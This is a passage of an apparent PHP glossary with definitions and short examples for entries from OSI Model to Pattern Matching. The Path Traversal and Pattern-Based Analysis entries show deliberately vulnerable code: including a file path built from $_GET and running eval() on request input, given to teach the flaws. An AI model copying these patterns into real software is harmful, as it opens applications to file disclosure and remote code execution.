- Mass Assignment
Related packages
OSI Model
The OSI Model, Open Systems Interconnection Model, is a conceptual framework that standardizes how computer systems communicate over a network, by splitting communication into seven abstract layers.
- Layer 7, Application: protocols used directly by applications, such as HTTP, FTP, DNS
- Layer 6, Presentation: data formatting, encryption, and compression, such as TLS, character encoding
- Layer 5, Session: establishes, manages, and terminates connections between applications
- Layer 4, Transport: end-to-end delivery, such as TCP and UDP, including reliability and flow control
- Layer 3, Network: routing of packets across networks, such as IP
- Layer 2, Data Link: node-to-node delivery within the same local network, such as Ethernet and MAC addresses
- Layer 1, Physical: the actual transmission of raw bits over a physical medium, such as cables or radio waves
PHP applications mostly operate at the Application layer: a script sending an HTTP request or reading from a socket does not deal with the layers below, as they are handled by the operating system and the network stack. Understanding the model is still useful to reason about where a problem happens, whether it is a DNS resolution failure, a TCP handshake issue, a TLS certificate problem, or an application-level bug.
The modern internet does not strictly follow the OSI model; it more closely follows the simpler, four-layer TCP/IP suite, but the OSI model remains a common reference for troubleshooting and teaching networking concepts.
See Also
Related
- TCP
- User Datagram Protocol (UDP)
- Internet Protocol (IP)
- Hyper Text Transfer Protocol (HTTP)
- Socket
- Network
- Layered Architecture
- Abstraction Layer
One-Time Password (OTP)
A One-Time Password, the OTP, is a password that is valid for only one authentication session or transaction. Unlike static passwords, OTPs are generated dynamically and expire quickly, making them much more resistant to replay attacks.
There are two main OTP algorithms: TOTP, Time-based One-Time Password RFC 6238, which generates a code based on the current time, and HOTP, HMAC-based One-Time Password RFC 4226, which generates a code based on a counter.
TOTP is the standard used by authenticator apps such as Google Authenticator, Authy, and hardware tokens. Each code is typically 6 digits long and valid for 30 seconds.
OTP generation is commonly handled by libraries such as spomky-labs/otphp, OTPHP in the Symfony ecosystem, or pragmarx/google2fa for Laravel applications.
<?php
use OTPHP\TOTP;
$totp = TOTP::generate();
echo 'Secret: ' . $totp->getSecret();
echo 'Current OTP: ' . $totp->now();
// Verify a code provided by the user
$userCode = '123456';
if ($totp->verify($userCode)) {
echo 'Valid OTP';
}
?>
See Also
Related
- Authentication
- Multi-Factor Authentication (MFA)
- Cryptography
- Cryptographic Hash
- HMAC
- Nonce
- Secret
- Password
- Single Sign On (SSO)
Related packages
OuterIterator
OuterIterator is a PHP interface that extends Iterator to represent iterators that wrap other iterators. It adds a single method, getInnerIterator(), which returns the inner iterator being wrapped.
OuterIterator is the foundation of PHP’s iterator decoration pattern: classes such as IteratorIterator, FilterIterator, MapIterator, LimitIterator, and RecursiveIteratorIterator all implement it.
Implementing OuterIterator allows building custom iterator decorators that add behaviour, such as filtering, mapping, or limiting, on top of any existing Traversable without modifying the wrapped object.
<?php
class DoubleValueIterator extends IteratorIterator implements OuterIterator
{
public function current(): mixed
{
return parent::current() * 2;
}
}
$array = new ArrayIterator([1, 2, 3, 4]);
$doubled = new DoubleValueIterator($array);
foreach ($doubled as $value) {
echo $value . PHP_EOL; // 2, 4, 6, 8
}
?>
See Also
Related
- Iterator
- IteratorAggregate
- RecursiveIterator
- Standard PHP Library (SPL)
- Traversable
- PHP Native Interfaces
Outgoing Data
Outgoing data are data submitted by PHP to an external user. The default may be the user’s browser, and the usual formats may be HTML, or JSON. Yet, there are many other destinations, such as databases, files, API, other process and formats, such as CSV, text, PDF, etc.
Outgoing data should always be formatted with the target technology. For example, text should use HTML entities for HTML output, or be provided as prepared statement with a database. Each target has its own system of protection.
The encoding of the incoming data are controlled with the default_charset directive.
<?php
// raw text, for the browser
echo "Hello world.";
?>
See Also
- Everything You Need to Know About Preventing XSS Vulnerabilities in PHP
- PHP htmlspecialchars Function: Prevent XSS in HTML Output
Related
OutOfRangeException
OutOfRangeException is a built-in exception class that is used to indicate that an index or value is outside the acceptable range. It is a subclass of the LogicException class.
The OutOfRangeException is typically thrown when accessing an array or collection with an index that is either negative or exceeds the valid range of indices. It can also be thrown when working with iterators or other data structures that have a defined range of valid values.
<?php
$list = new SplDoublyLinkedList();
try {
// Adding 5 at index 2, while it should be added a 0 (empty list)
$list->add(2,5);
} catch (OutOfRangeException $e) {
echo 'Exception: '.$e->getMessage()."\n";
}
?>
See Also
Related
Output Buffering
Output buffering, also abbreviated ob, is a mechanism that captures output generated by the application, instead of sending it directly to the browser. The output is held in an internal buffer, and it may be manipulated before it’s actually sent to the client.
The output may be of any format: text, HTML, etc. Output may include HTTP headers, although they are usually managed with dedicated functions.
Output buffering relies on the following functions:
ob_start(): starts buffering; nothing is sent to the browser after this pointob_get_contents(): retrieves the current buffer contents as a stringob_end_flush(): sends the buffer to the browser and turns buffering offob_end_clean(): discards the buffer and turns buffering off, nothing is sentob_flush(): sends the buffer but keeps buffering onob_get_clean(): shorthand for get + clean in one step
Output buffers can be nested: it is possible to capture content within another capture.
From the last point, it is recommended to always pair ob_start() with an end function, such as ob_end_flush(). This prevents memory leaks, and extra warnings.
It doesn’t affect CLI scripts, as they have no browser to buffer for.
<?php
$s = 'x';
ob_start();
var_dump($s);
$content = ob_get_clean(); // gets the content, and clean it
// The 3 previous lines could also be achieved with $content = var_dump($s, true);
// process it
$content = str_replace('x', 'X', $content);
// display it again
echo $content; //
?>
See Also
Related
Over-engineer
Over-engineering refers to the practice of designing and implementing a solution to a problem that goes beyond what is necessary or exceeds the requirements of the task. It involves adding unnecessary complexity, features, or components to a system, often resulting in increased development time, resource usage, and potential maintenance difficulties.
See Also
Related
Overflow
Overflow happens when a value goes beyond a limit: out of its range of existence, the behavior of the value is now unknown.
Overflow happens with integers, limited to PHP_INT_MAX and PHP_INT_MIN, floats PHP_FLOAT_MAX and PHP_FLOAT_MIN.
Other situations, such as accessing an array element or a string character beyond its last element, defaults to returning null.
There is a native class called OverflowException, which is emitted when a number gets too large, and may be caught.
<?php
$a = PHP_INT_MAX;
$b = (int) ($a + 1);
echo $a.PHP_EOL;
echo $b;
?>
See Also
Related
OverflowException
The OverflowException is the exception thrown when adding an element to a full container.
This exception is not thrown by native PHP code, but by custom code.
See Also
Related
Overloading
Overloading provides means to dynamically create properties and methods. These dynamic entities are processed via magic methods one can establish in a class for various action types.
Property overloading is based on the magic methods __get, __set, __isset, __unset. Method overloading is based on the magic methods __call, __callStatic. There is no way to check if a overloaded method exist or not, unlike with properties.
Overloading does not apply to class constants.
Operator overloading is not supported. For example, it is not possible to define a - minus operator between two objects. This still exists for +, which applies to integers, floats and arrays. It may also be supported by specific PHP extensions.
<?php
class Elephpant {
function trumpet() {
echo __METHOD__;
}
function __call($name, $args) {
echo self::class. '::'. $name;
}
}
$elephpant = new Elephpant;
$elephpant->trumpet(); // Elephpant::trumpet
$elephpant->stampede(); // Elephpant::stampede
// existence check
var_dump(method_exists(Elephpant::class, 'trumpet')); // true
var_dump(method_exists(Elephpant::class, 'stampede')); // false
var_dump(method_exists(Elephpant::class, '__call')); // true
?>
See Also
Related
Override Attribute
This is a native PHP attribute, which tells the engine that a method must be overriding the same method in a parent.
The overridden method may be in the parent, or any subsequent parent; it may also be defined in a trait, as a concrete definition or an alias.
The error is only reported at execution time. The same error message is used if the class has no parent, at linting time.
This attribute may be added to any method.
<?php
class Elephpant {
function trumpet() {}
}
class Calf {
#[Override]
function trumpet() {}
#[Override]
function forage() {}
// This raise an error, as forage() has no definition in the parent.
}
?>
See Also
Related
- Overriding
- Overwrite
- PHP Native Attributes
- PHP Native Attribute
- Attribute Class
- Method Resolution Order (MRO)
- Lint, Won’t Execute
Overriding
Overriding is an OOP concept where a child class provides its own implementation of a method that already exists in a parent class.
Child classes may override constant values, properties and methods.
When overriding, visibility cannot be reduced. A protected method or constant may become public, but not private.
The #[Override] attribute is a helper tool to ensure that a child method overrides a parent method. It is the complement of the abstract keyword.
Incompatible overriding is not always detected at linting time: this happens when the overriding definition is parsed before the overridden definition.
<?php
class Elephpant {
function trumpet() {}
}
class Calf {
function trumpet() {}
}
?>
See Also
Related
- Override Attribute
- Abstract Keyword
- Overwrite
- PHP Native Attributes
- PHP Native Attribute
- Lint, Won’t Execute
Overwrite
Overwriting is the process to replace an existing structure, with another one, entirely different. The replaced structure may be a method, a property, class constant, a variable. The first ones are related to OOP programming and inheritance, the latter is variable behavior.
Overwriting is applicable to constants, methods and properties. Methods still should have a compatible signature with their parent’s equivalent, while properties and constants may change their default value.
Overwriting methods is prevented by the final keyword, or the private visibility.
Overwriting is also called overloading.
<?php
class x {
const Y = 1;
const Z = 2;
}
class xx extends x {
// Z is inherited, and its value is 2
// Y used to be 1, it is now 31
const Y = 31;
const A = 3;
}
$a = 1;
$a = 2; // The first value of $a is overwritten
// a silent overwrite
$a = function() use ($a) {};
?>
See Also
Related
- Final Keyword
- Private Visibility
- Inheritance
- Override Attribute
- Assignation
- Child Class
- Overriding
- parent
OWASP
OWASP stands for Open Web Application Security Project. It is an organization that educates people to design, code and maintain secure applications.
OWASP is famous for the TOP 10: a list of the top 10 threats to web applications. It is updated every three years.
See Also
Related
- Security
- Audit
- Vulnerability
- Insecure Deserialization
- Broken Access Control
- Cheat Sheet
- Capture The Flag (CTF)
- Insecure Direct Object Reference (IDOR)
Peer-to-Peer (P2P)
Peer-to-peer, or P2P, is a network architecture where participants, called peers, communicate directly with one another instead of routing every exchange through a central server. Each peer can act as both a client and a server, in contrast to the traditional client-server model.
P2P is not a common architecture for PHP applications, since PHP scripts are typically executed on demand behind a web server and do not keep a long-running process able to accept inbound peer connections. It is more often encountered as a concept PHP code interacts with indirectly, for instance a script that talks to a BitTorrent tracker, a blockchain node, or a distributed hash table over sockets, or a long-running CLI daemon built with something like ReactPHP or Swoole.
See Also
Related
PaaS
PaaS, or Platform as a Service, is a cloud-computing model in which a provider manages the underlying infrastructure, like hardware, operating system, and runtime, so that developers can focus on deploying and running applications without administering servers.
For PHP applications, PaaS abstracts away web server configuration, PHP version management, and OS patching. The developer pushes code, via Git, a container image, or a deployment CLI, and the platform handles provisioning, scaling, and availability. Examples include Heroku, Platform.sh, Google App Engine, and AWS Elastic Beanstalk.
PaaS sits between IaaS, full infrastructure control, and SaaS, fully managed software. It trades flexibility for operational simplicity, making it well-suited for teams that want to ship PHP applications quickly without dedicated infrastructure engineers.
<?php
// A typical PaaS entry point: the platform injects environment variables
// for database credentials, ports, and other service bindings.
$dsn = sprintf(
'pgsql:host=%s;port=%s;dbname=%s',
getenv('DB_HOST'),
getenv('DB_PORT') ?: '5432',
getenv('DB_NAME')
);
$pdo = new PDO($dsn, getenv('DB_USER'), getenv('DB_PASSWORD'), [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
// The platform also controls the HTTP port
$port = getenv('PORT') ?: 8080;
?>
See Also
Related
pack
pack() is a native PHP function which converts given arguments into a binary string according to format. By extension, pack is the string that defines that format.
<?php
print pack("nvc*", 0x1234, 0x5678, 65, 66);
// displays 4xVAB
?>
See Also
Related
Package Manager
A package manager is a tool that automates the process of installing, upgrading, configuring, and removing software packages. Packages are reusable units of code, often called libraries or dependencies.
In the PHP ecosystem, Composer is the dominant package manager. It resolves dependency trees, downloads packages from Packagist, and generates an autoloader. The composer.json file declares direct dependencies, while composer.lock pins the exact versions of every resolved package.
Other ecosystems have their own package managers: npm and Yarn for JavaScript, pip for Python, gem for Ruby, and apt or brew at the OS level. PHP also has PEAR, older, mostly replaced by Composer, and PIE, a modern extension installer.
Package managers bring reproducibility, security auditability, and semantic versioning to dependency management.
See Also
Related
- Composer
- Packagist
- PEAR
- PHP Installer For Extensions (PIE)
- Dependency
- Installation
- Supply Chain
- Semantic Versioning
- Checksum
Package-Level
Package-level, or internal, visibility is an access modifier that sits between public and private. A member marked this way, such as Java’s default, no-modifier, visibility or Kotlin’s and C#’s internal, is reachable from any code within the same package, module, or compiled assembly, but not from outside it. It lets a library share implementation details across its own files without exposing them as part of its public API.
This gives a third, coarser-grained boundary than the usual class-based private/protected pair: visibility scoped to a whole group of files that ship and evolve together, rather than to a single class and its subclasses.
Package level is also called internal visibility.
PHP’s visibility modifiers, public, protected, and private, are all scoped to the class hierarchy, never to a namespace, directory, or package. There is no modifier that means visible within this namespace, or within this Composer package, but not outside it; a symbol is either fully public to any caller that can reach its fully qualified name, or restricted to the declaring class and its subclasses.
<?php
namespace App\Billing;
class Invoice {
// No modifier means reachable only from App\\Billing in Java;
// in PHP, only public, protected, and private exist, all class-scoped.
public function total(): float { /* ... */ }
}
?>
See Also
- Visibility modifiers | Kotlin Documentation
- Kotlin Visibility Modifiers - public, protected, internal, private
Related
- Visibility
- Public Visibility
- Private Visibility
- Protected Visibility
- Namespaces
- Module System with Explicit Exports
Packagist
Packagist is the most popular package repository for PHP. It’s a service that helps PHP developers find and use packages in their projects. A package is a reusable piece of code, typically a library or framework, that can be easily integrated into different projects.
Packagist makes it easy for developers to share their packages with the community. It uses Composer, a dependency manager for PHP, to handle the installation and management of packages. Developers can define the dependencies their projects have in a composer.json file, and Composer will then fetch and install the required packages from Packagist.
Packagist is also available as a private version, for closed communities.
See Also
Related
Pagination
Pagination is a technique used in web development to break down and display a large set of data or content into smaller, more manageable chunks called pages. This is especially useful when dealing with long lists, tables, or search results, as it enhances user experience and reduces the amount of data loaded at once. Pagination is commonly seen in search engine results, product listings, blog archives, and other scenarios where content needs to be organized across multiple pages.
See Also
Related
Related packages
Pair
A pair is a data structure that holds exactly two related values, often a key and a value, or two correlated items. It is one of the simplest compound data structures.
Pairs are commonly represented as a two-element indexed array, a two-element associative array, or a simple object with two properties. PHP does not have a built-in pair type, but the Ds\Pair class from the Data Structures extension provides a typed key–value pair.
Pairs appear in many contexts: iterating over associative arrays yields key–value pairs, array_map() with null as the callback zips arrays into indexed pairs, and functions such as array_combine() associate two arrays as paired keys and values.
Pairs are also the basis of more complex structures such as maps and dictionaries.
<?php
// Native: two-element array as a pair
$pair = ['key' => 'value'];
// Ds\Pair from the Data Structures extension
$pair = new \Ds\Pair('name', 'Alice');
echo $pair->key; // name
echo $pair->value; // Alice
// Iterating key-value pairs
$map = ['a' => 1, 'b' => 2];
foreach ($map as $key => $value) {
echo "$key => $value\n";
}
?>
See Also
Related
Paradigm
A programming paradigm is basically a style or way of thinking about how the code is written. It’s not a specific language, more like a philosophy that guides how code is structured, how problems are solved, and how data and behavior are organized.
See Also
- Introduction to Programming Paradigms
- Programming Paradigms — Procedural, Object Oriented, and Functional Programming
Related
- Functional Programming (FP)
- Procedural Programming
- Defensive Programming
- Offensive Programming
- Railroad Programming
- OOP (Object Oriented Programming)
- Imperative Programming
- Aspect-Oriented
- Aspect Oriented Programming
- Design By Contract (DBC)
- Declarative Programming
Parallel
Running processes in parallel means that several distinct processes are running at the same time. This approach takes advantage of modern CPUs, which have several cores, and modern operating systems, with a robust process management.
PHP has several ways to start threads or processes, and monitor them: amphp, ReactPHP, fibers.
See Also
Related
Related packages
Parameter Removal
Parameter removal is the operation to remove a parameter in a method’s signature.
This may happen in two ways:
- Between versions of the code. A method may see one of its parameter being deprecated then removed.
- In a function relay, where the method doesn’t transmit all its incoming parameters to the next.
<?php
// get_defined_functions's only paramter was removed in PHP 8.4
$list = get_defined_functions(false);
class Elephpant {
public function trumpet($trunk, $tusk) {
// $tusk is ignored, and set to a fixed value.
// $tusk is actually removed for 'public' usage
$this->forage($trunk, 2);
}
private function forage($trunk, $tusk = 1) {
// do Something
}
}
?>
See Also
- Refactoring function signature maintaining backward compatibility
- .NET API changes that affect compatibility
Related
Parameter
A parameter is a variable in a method definition. They have a name, and may have a default value and type. They may also be passed by reference, or by value, which is the default way.
<?php
function trumpet($parameter) {}
$argument = 1;
trumpet($argument);
?>
See Also
Related
- Argument
- Static Expression
- Comma
- References
- Type System
- Variadic
- Constant Scalar Expression
- Default Value
- Inherited Variable
- New In Initializers
- Optional Parameter
- Positional Parameters
- Named Parameters
- Arbitrary Number Of Argument
- Passing By Reference
- Passing By Value
- Composite Type
- Copy On Write (COW)
parent
parent is one of the three special keywords that are used to access properties or methods from inside the class definition. It relates to the first parent class, or any or their own parents. In particular, when searching for methods or properties, it may skip the direct parent, and land on one of the parent above.
parent represents the first parent of the class, and then, recursively, all parents of that class.
parent is the supertype of the current class.
In a trait, parent represents the host class’s parent, not the trait own parent. In fact, the trait itself has no parent.
<?php
class Elephpant {
protected const HABITAT = 1;
}
class AfricanElephpant extends Elephpant {
function trumpet() {
// could also be written as \Elephpant::C; here
return parent::C;
}
}
?>
See Also
Related
- Overwrite
- static
- Self
- Child Class
- Late Static Binding
- Language Construct
- PHP Natives
- Relative Types
- Special Types
- Base Class
- Class Hierarchy
- Method Resolution Order (MRO)
Parenthesis
Parenthesis are the ( and ). They must be balanced: each opening parenthesis must have a closing parenthesis, or a PHP syntax error is generated.
Parenthesis are used to make explicit precedence between operations. Parenthesis group all underlying operations as one call: there can be only one expression inside parenthesis.
Parenthesis are an important token for the parser: they are needed in many situations, such as method definition, method call, for(), foreach(), switch(), match(), etc. Once the syntax has been recognized, such parenthesis are not used anymore.
Parenthesis are idempotent: there is no use in setting parenthesis directly inside another parenthesis.
Sometimes, parenthesis are used for make language structure look like a functioncall. This is useless to the PHP engine, and even, prevent some features.
<?php
// parenthesis in signatures
function trumpet($parameter) {}
// useless parenthesis
include('/path/to/file.php');
// parenthesis
echo 'a', 'b'; // best practice: no parenthesis
echo ('a' . 'b'); // parenthesis force the concatenation
echo ('a'), 'b'; // weird, right?
// precedence changing with parenthesis
echo 2 + 3 * 4; // 14
echo (2 + 3) * 4; // 20
echo 2 + (3 * 4); // 14
?>
See Also
Related
Parquet
Parquet an open-source, column-oriented data file format designed for efficient data storage and high-performance analytics.
It optimizes Big Data processing by storing data by column rather than row, allowing for superior compression and faster, targeted queries.
Parquet is an Apache Software Foundation format.
See Also
Related
- Comma Separated Values (CSV)
- json_decode()
- JsonSerializable
- Serde
- JavaScript Object Notation (JSON)
- JSON Lines (JSONC)
- JSON Lines (JSONL)
- YAML Ain’t Markup Language (YAML)
- Tom’s Obvious Minimal Language (TOML)
- Text
- Column Database
Related packages
Parse
To parse, or parsing, refers to the process of analyzing and interpreting the structure of data to extract meaningful information.
PHP has a phase of parsing: it is handled by the tokenizer, a part of the PHP engine, that reads the text file with the source code, and outputs the atomic blocks it understood, or a Fatal error.
Parsing is commonly used when working with data formats like XML, JSON, HTML, YAML, or even custom text formats. It involves breaking down a string into its individual components or tokens to understand its underlying structure.
The simplest usage of parsing is to identify errors in the structure, leading to an early aborting of the processing.
<?php
if (!json_validate($json)) {
throw new Exception('invalid JSON data');
}
$object = json_decode($json);
?>
See Also
Related
parse_ini_file()
parse_ini_file() is a PHP native function that reads an INI configuration file and returns its content as an associative array.
By default, sections, i.e. lines like [section], are dropped and only the settings inside them are returned. Passing true as the second argument, process_sections, keeps each section as its own nested array in the result.
A third argument, scanner_mode, controls how values are read: INI_SCANNER_NORMAL, the default, returns every value as a string; INI_SCANNER_RAW disables all value interpretation, including PHP constants; INI_SCANNER_TYPED converts recognizable values, such as true, false, null, and numeric strings, to their native PHP type.
parse_ini_file() reads and interprets PHP constants found in unquoted values, which makes it unsafe to run against a file supplied or editable by an untrusted party. parse_ini_string() performs the same parsing on a string already held in memory, rather than a file on disk.
<?php
// config.ini:
// [database]
// host = localhost
// port = 5432
// enabled = true
$config = parse_ini_file('config.ini', true, INI_SCANNER_TYPED);
// $config = [
// 'database' => [
// 'host' => 'localhost',
// 'port' => 5432, // int, thanks to INI_SCANNER_TYPED
// 'enabled' => true, // bool, thanks to INI_SCANNER_TYPED
// ],
// ];
?>
See Also
Related
parse_ini_string()
parse_ini_string() parses a string formatted like a PHP ini file, and returns its settings as an associative array, the same way parse_ini_file() does for a file on disk.
Values are read as plain strings by default, sections become nested arrays when the second argument is true, and passing INI_SCANNER_TYPED as the third argument converts recognisable booleans, integers and floats to their matching PHP type instead of leaving every value as a string. INI_SCANNER_RAW disables all value processing, including the quote stripping that happens by default, and returns each value exactly as written.
Because the parser follows the same rules PHP itself uses for its own configuration files, an ini string built dynamically, from a template or generated by another script, can be validated before being written to disk, simply by parsing it back and checking the result.
<?php
$ini = '
[database]
host = localhost
port = 5432
';
$config = parse_ini_string($ini, true, INI_SCANNER_TYPED);
var_dump($config['database']['port']); // int(5432)
?>
Related
parse_str()
parse_str() parses a query string and extracts its components, name and value, in an array.
The resulting array uses the names of the variables in the query string as keys, and the value in the query string as values.
parse_str() handles some special conventions: [] turns the variable into an array, including multidimensional arrays and hash. Dots . and spaces are replaced automatically with underscore _, as they are not allowed in variables. This is a legacy leftover, as no variable is created anymore.
All parsed values are strings or arrays. They may be numeric strings, though.
parse_str() used to allow the second parameter, for the results, to be omitted. Then, it would write the new variables in the current context, with a possible serious security effect. This is not possible anymore since PHP 8.0.
<?php
parse_str("a=1&b[]=3", $array);
print_r($array);
/**
* [a => 1
* b => [
* 3
* ]
* ]
*/
?>
See Also
Related
parse_url()
parse_url() parses a URL string and returns its components as an associative array. The components it extracts are: scheme, host, port, user, pass, path, query, and fragment.
An optional second parameter accepts a PHP_URL_* constant to return a single component as a string or integer instead of the full array.
parse_url() is deliberately lenient: it does not validate that the URL is well-formed or reachable. It only splits the string according to RFC 3986 syntax. Providing a relative URL or a partial URL will return only the components that are present.
For validation, combine parse_url() with filter_var($url, FILTER_VALIDATE_URL). For building URLs, use http_build_query() for the query string part.
<?php
$url = 'https://user:pass@example.com:8080/path?query=value#section';
$parts = parse_url($url);
print_r($parts);
/**
* [
* scheme => 'https',
* host => 'example.com',
* port => 8080,
* user => 'user',
* pass => 'pass',
* path => '/path',
* query => 'query=value',
* fragment => 'section',
* ]
*/
$host = parse_url($url, PHP_URL_HOST); // 'example.com'
?>
See Also
- RFC 3986
- Understanding and Implementing PHP’s
parse_url()Function - How to use parse_url() in PHP safely
Related
- Universal Resource Locator (URL)
- Hyper Text Transfer Protocol (HTTP)
- Parse
- parse_str()
- http_build_query()
- Universal Resource Identifier (URI)
- Validation
- Anchor
ParseError
A ParseError is a subclass of the built-in Error class, itself implementing the Throwable interface, that is thrown when the PHP engine fails to parse a piece of source code because it is syntactically invalid. Unlike most runtime problems, a parse error occurs during the compilation phase, before any of the surrounding code actually executes, which historically made syntax mistakes uncatchable fatal errors; since PHP 7, wrapping the offending code in a try/catch block that targets ParseError, Error, or Throwable allows the failure to be handled gracefully instead of crashing the whole process. The most common trigger is a call to eval() on a string containing malformed PHP, but a ParseError can also surface when including or requiring a file that itself contains invalid syntax, or in a few contexts where PHP compiles code dynamically at runtime, such as certain uses of compact expressions or attribute parsing. Typical causes include mismatched brackets or quotes, missing semicolons, reserved words used as identifiers, and invalid combinations of language constructs. Because it signals a structural problem with the code itself rather than a logic error, catching ParseError is mainly useful for sandboxes, template engines, REPL, and tools that evaluate untrusted or user-supplied PHP snippets safely.
<?php
try {
eval (' A A ');
} catch (ParseError $e) {
echo "This is not PHP code";
}
?>
See Also
Related
Parser
The PHP parser is a piece of software that processes a piece of text and extracts tokens, with their PHP meanings. The tokens are atomic pieces of information, that are grouped later to build a larger message.
PHP includes an internal parser, that reads the source code, and produces the PHP tokens, the AST and later, the opcodes.
<?php
if (!json_validate($json)) {
throw new Exception('invalid JSON data');
}
$object = json_decode($json);
?>
See Also
Related
Related packages
Partial Application
Partial application is the technique of fixing a subset of a function’s arguments in advance, producing a new function of smaller arity that still expects the remaining arguments. It is the operation itself, distinct from its result, which is called a partial function.
Partial application differs from currying: currying always transforms a function into a chain of one-argument functions, while partial application may fix any number of arguments at once and leaves the rest to be supplied together, in a single further call.
PHP has no dedicated syntax for partial application. It is emulated by wrapping the original call inside a closure or an arrow function that captures the already-known arguments, or with Closure::fromCallable() combined with a manual wrapper. First-class callable syntax makes referencing the underlying function easier, but does not perform the application itself.
<?php
function request(string $method, string $url, array $options = []) {
// ...
}
// fixing the first argument ahead of time
$get = fn(string $url, array $options = []) => request('GET', $url, $options);
$get('https://example.com'); // only the remaining arguments are needed
// fixing two arguments at once, unlike currying which would take them one by one
$getExample = fn(array $options = []) => request('GET', 'https://example.com', $options);
?>
See Also
Related
Partial Function
A partial function is a function that has some parameters already known, and still needs some final ones before execution. The function is said partial, as it can be executed a little, but not fully.
In general, the partial function is built on with a closure or an arrow function, and the locally available parameters. It is then passed to other contexts, which holds the rest of the arguments.
Partial function is related to functional programming.
<?php
function trumpet($trunk, $tusk, $ivory) { return $trunk + $tusk + $ivory; }
$trunk = 1;
$tusk = 2;
$partial = function ($ivory) use ($trunk, $tusk) { return trumpet($trunk, $tusk, $ivory); };
// as an arrow function
$partial = fn ($ivory) => trumpet($trunk, $tusk, $ivory);
forage($partial);
function forage(callable $partial) {
$ivory = fetchDataSomewhere();
return $partial($ivory);
}
?>
See Also
Related
Related packages
Pascal Case
Pascal case, also written PascalCase is a way of writing names without spaces, where:
- The first word starts with an uppercase letter
- Each following word starts with an uppercase letter
Pascal case was used for pascal programming language. It is very similar to camel case, though it is not the same.
<?php
function CalculatePrice(int $price): int {
return $price * SALE_TAX_RATE;
}
?>
See Also
Related
Passphrase
A passphrase is a longer and more critical password. It may be build by combining several words, hence building a phrase.
Because a passphrase is typically longer than a conventional password, often four or more randomly chosen words following the Diceware method, it carries substantially more entropy while remaining easier for a human to memorize and type than an equivalent-strength string of random characters and symbols.
Passphrases used as passwords are hashed and verified like any other password with password_hash()/password_verify(), using the bcrypt or Argon2 algorithms. They are also common as input to key-derivation functions: sodium_crypto_pwhash() in the sodium extension derives a fixed-length encryption or signing key from a passphrase and a salt, and OpenSSL private keys are frequently protected with a passphrase supplied to openssl_pkey_export() or the openssl command-line tool.
See Also
Related
Password API
The Password API, or extension, is a part of the Core of PHP, which provides an easy to use wrapper around crypt() and some other password hashing algorithms, to make it easy to create and manage passwords in a secure manner.
<?php
echo password_hash('PHP is alive', PASSWORD_DEFAULT);
?>
See Also
Related
Password
A password is a secret or confidential string of characters that is used for authentication and access control to verify the identity of a user. Passwords are commonly employed in computer systems, online accounts, and various digital devices to protect sensitive information and restrict unauthorized access.
The primary purpose of a password is to ensure that only authorized users can access a particular system, network, application, or account. When a user attempts to log in, they are typically required to enter a username or user ID along with their corresponding password. If the entered password matches the stored or expected password for that user, access is granted.
Passwords are a fundamental component of security measures, and it’s important for users to choose strong and unique passwords to enhance the security of their accounts. Strong passwords often include a combination of uppercase and lowercase letters, numbers, and special characters, making them more resistant to unauthorized access through brute-force attacks or other security breaches. Additionally, it’s recommended to use different passwords for different accounts to minimize the impact of a potential security compromise.
Password is also an extension for hashing.
<?php
$ftp_server = 'ftp.example.com';
$ftp_user = 'foo';
$ftp_pass = 'bar';
// Set up a simple connexion
$ftp = ftp_connect($ftp_server);
?>
See Also
Related
- Password API
- Passphrase
- Secret
- Privacy
- One-Time Password (OTP)
- Crack
- Hard Coded
- Single Sign On (SSO)
Path Traversal
A path traversal vulnerability is a security flaw that allows an attacker to access files or directories outside the intended location on a server.
It happens when an application uses user input to build file paths without properly validating or restricting it.
Path traversal is also called directory traversal.
<?php
$file = $_GET['file'];
include('pages/' . $file);
?>
See Also
Related
Path
A path is a representation of the location of a file or directory within the directory structure. It describes the route or sequence of directories one must navigate from the root directory to reach a specific file or directory. There are two types of paths:
- Absolute Path: this provides the complete path from the root directory to the specific file or directory. For example, in Unix-like systems, an absolute path might look like
/home/user/documents/file.txtor in Windows, it might look likeC:\Users\User\Documents\file.txt. - Relative Path: this specifies the location of a file or directory relative to the current working directory. It doesn’t start from the root directory but describes the path relative to the current directory . For example, if the current working directory is
/home/user/and there is a file in thedocumentsdirectory, the relative path might bedocuments/file.txtin Unix-like systems.
Paths are represented by strings. The local OS’s directory separator is stored in a constant called DIRECTORY_SEPARATOR. Generally, the / is converted into the local dialect when needed, although there are special cases for the /, aka root, string.
See Also
Related
- Stream
- Protocol
- Dir
- File
- DIRECTORY_SEPARATOR
- Absolute
- dirname
- \. Directory
- Dot-dot Directory \.\.
- Relative
- \. File
pathinfo()
pathinfo() is a native PHP function that returns information about a file path: its directory name, base name, extension and file name.
By default, it returns an associative array with the keys dirname, basename, extension, though only when the file has one, and filename. The optional second argument selects a single element, using the constants PATHINFO_DIRNAME, PATHINFO_BASENAME, PATHINFO_EXTENSION or PATHINFO_FILENAME; in that case, the function returns a string instead of an array.
The function works on the path string only: it does not check that the file exists.
<?php
$info = pathinfo('/www/htdocs/index.html');
// ['dirname' => '/www/htdocs', 'basename' => 'index.html', 'extension' => 'html', 'filename' => 'index']
echo pathinfo('/www/htdocs/index.html', PATHINFO_EXTENSION); // html
echo pathinfo('/www/htdocs/archive.tar.gz', PATHINFO_FILENAME); // archive.tar
?>
See Also
Related
Pattern-Based Analysis
Pattern-based analysis is a static analysis technique that detects issues by matching source code against a library of known patterns, without building a full model of the program’s execution.
Each pattern describes a structural or textual signature that corresponds to a coding mistake, a security vulnerability, or a style violation. When the pattern matches, a finding is reported.
Pattern-based analysis is:
- Fast to implement and run, because it requires only a token stream or a partial AST
- Easy to extend, because new patterns can be added without modifying the analyser core
- Limited in depth, because it cannot reason about data flow, aliasing, or runtime state
Common uses include detecting calls to deprecated functions, flagging unsafe functions such as eval(), exec(), enforcing naming conventions, and finding trivially injected values.
Exakat uses pattern-based analysis for many of its rules, alongside deeper analyses.
<?php
// Pattern-based analysis can flag the use of eval() regardless of context
$code = $_GET['snippet'] ?? '';
eval($code); // flagged by pattern: use of eval()
?>
See Also
Related
- Analysis
- Lexical Analysis
- Semantic Analysis
- Control Flow Analysis
- Data Flow Analysis (DFA)
- Symbolic Analysis
- Static Application Security Testing (SAST)
- Abstract Syntactic Tree (AST)
- Regular Expression
Pattern Matching
Pattern Matching as a language concept contains two parts: matching a variable against a potentially complex data structure pattern, and optionally extracting values out of that variable into their own variables. In a sense it serves a similar purpose for complex data structures as regular expressions do for strings.
<?php
// This code is extracted from the RFC
// It is not valid PHP code, as of PHP 8.4.
// The \is\ keyword evaluates to a boolean.
if ($var is <pattern>) {
